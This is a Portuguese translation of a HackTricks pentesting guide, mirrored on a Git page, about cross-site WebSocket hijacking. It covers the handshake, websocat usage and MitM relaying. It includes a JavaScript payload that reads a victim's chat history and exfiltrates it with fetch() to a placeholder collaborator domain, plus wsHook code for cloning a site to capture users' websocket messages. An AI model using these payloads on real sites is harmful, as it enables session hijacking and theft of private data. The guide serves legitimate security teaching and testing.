Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-28 15:41:34 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/cross-site-websocket-hijacking-cswsh.md
Translator workflow c928d8e52e Translated to Portuguese
2023-06-06 18:56:34 +00:00

12 KiB
Raw Blame History

Cross-site WebSocket hijacking (CSWSH)

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

O que são WebSockets

As conexões WebSocket são iniciadas por meio do HTTP e geralmente são de longa duração. As mensagens podem ser enviadas em ambas as direções a qualquer momento e não são transacionais por natureza. A conexão normalmente permanecerá aberta e ociosa até que o cliente ou o servidor esteja pronto para enviar uma mensagem.
Os WebSockets são particularmente úteis em situações em que são necessárias mensagens de baixa latência ou iniciadas pelo servidor, como feeds em tempo real de dados financeiros.

Como as conexões WebSocket são estabelecidas?

(Aqui você encontrará um resumo, mas um guia mais detalhado sobre como uma conexão de web socket é criada pode ser encontrado aqui).
As conexões WebSocket são normalmente criadas usando JavaScript do lado do cliente, como o seguinte:

var ws = new WebSocket("wss://normal-website.com/chat");

O protocolo wss estabelece um WebSocket sobre uma conexão TLS criptografada, enquanto o protocolo ws usa uma conexão não criptografada.

Para estabelecer a conexão, o navegador e o servidor realizam um handshake WebSocket sobre HTTP. O navegador emite uma solicitação de handshake WebSocket como a seguinte:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Se o servidor aceita a conexão, ele retorna uma resposta de handshake do WebSocket como a seguinte:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

Neste ponto, a conexão de rede permanece aberta e pode ser usada para enviar mensagens WebSocket em ambas as direções.

Nota

Várias características das mensagens de handshake do WebSocket são dignas de nota:

  • Os cabeçalhos Connection e Upgrade na solicitação e resposta indicam que este é um handshake WebSocket.
  • O cabeçalho de solicitação Sec-WebSocket-Version especifica a versão do protocolo WebSocket que o cliente deseja usar. Isso é tipicamente 13.
  • O cabeçalho de solicitação Sec-WebSocket-Key contém um valor aleatório codificado em Base64, que deve ser gerado aleatoriamente em cada solicitação de handshake.
  • O cabeçalho de resposta Sec-WebSocket-Accept contém um hash do valor enviado no cabeçalho de solicitação Sec-WebSocket-Key, concatenado com uma string específica definida na especificação do protocolo. Isso é feito para evitar respostas enganosas resultantes de servidores mal configurados ou proxies de cache.

O cabeçalho Sec-WebSocket-Key contém um valor aleatório para evitar erros de proxies de cache e não é usado para fins de autenticação ou manipulação de sessão (Não é um token CSRF).

Console Linux

Você pode usar o websocat para estabelecer uma conexão bruta com um websocket.

websocat --insecure wss://10.10.10.10:8000 -v

Ou para criar um servidor websocat:

websocat -s 0.0.0.0:8000 #Listen in port 8000

Conexões websocket MitM

Se você descobrir que os clientes estão conectados a um websocket HTTP a partir da sua rede local atual, você pode tentar um Ataque de Spoofing ARP para realizar um ataque MitM entre o cliente e o servidor.
Assim que o cliente tentar se conectar, você pode usar:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Enumeração de WebSockets

Você pode usar a ferramenta https://github.com/PalindromeLabs/STEWS para descobrir, identificar e procurar por vulnerabilidades conhecidas em websockets automaticamente.

Hijacking de WebSocket entre sites (CSWSH)

Também conhecido como hijacking de WebSocket entre origens cruzadas.
É um Cross-Site Request Forgery (CSRF) em um handshake de WebSocket.

Isso ocorre quando a solicitação de handshake de WebSocket depende exclusivamente de cookies HTTP para o tratamento de sessões e não contém nenhum token CSRF ou outros valores imprevisíveis.
Um atacante pode criar uma página da web maliciosa em seu próprio domínio que estabelece uma conexão de WebSocket entre sites com o aplicativo vulnerável. O aplicativo lidará com a conexão no contexto da sessão do usuário vítima com o aplicativo.

Ataque Simples

Observe que ao estabelecer uma conexão websocket, o cookie é enviado para o servidor. O servidor pode estar usando-o para relacionar cada usuário específico com sua sessão de websocket com base no cookie enviado.

Então, se, por exemplo, o servidor websocket enviar de volta o histórico da conversa de um usuário se uma mensagem com "READY" for enviada, então um simples XSS estabelecendo a conexão (o cookie será enviado automaticamente para autorizar o usuário vítima) enviando "READY" será capaz de recuperar o histórico da conversa:

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
  websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
  //Exfiltrate the confidential information to attackers server
  fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

Cross Origin + Cookie com um subdomínio diferente

Neste post de blog https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/, o atacante conseguiu executar Javascript arbitrário em um subdomínio do domínio onde a comunicação do websocket estava ocorrendo. Como era um subdomínio, o cookie estava sendo enviado, e como o Websocket não verificava a Origem corretamente, era possível se comunicar com ele e roubar tokens dele.

Roubo de dados do usuário

Copie a aplicação web que você deseja se passar (os arquivos .html, por exemplo) e dentro do script onde a comunicação do websocket está ocorrendo, adicione este código:

//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
    var xhttp = new XMLHttpRequest();
    xhttp.open("GET", "client_msg?m="+data, true);
    xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
    var xhttp = new XMLHttpRequest();
    xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
    xhttp.send();
    return messageEvent;
}

Agora baixe o arquivo wsHook.js em https://github.com/skepticfx/wshook e salve-o dentro da pasta com os arquivos web.
Expondo a aplicação web e fazendo um usuário se conectar a ela, você será capaz de roubar as mensagens enviadas e recebidas via websocket:

sudo python3 -m http.server 80

Outras vulnerabilidades

Como os Web Sockets são um mecanismo para enviar dados para o lado do servidor e do cliente, dependendo de como o servidor e o cliente manipulam as informações, os Web Sockets podem ser usados para explorar várias outras vulnerabilidades, como XSS, SQLi ou qualquer outra vulnerabilidade comum da web usando a entrada de um usuário de um websocket.

WebSocket Smuggling

Essa vulnerabilidade pode permitir que você bypass as restrições dos proxies reversos fazendo-os acreditar que uma comunicação websocket foi estabelecida (mesmo que não seja verdade). Isso pode permitir que um atacante acesse endpoints ocultos. Para mais informações, consulte a seguinte página:

{% content-ref url="h2c-smuggling.md" %} h2c-smuggling.md {% endcontent-ref %}

Referências

{% embed url="https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥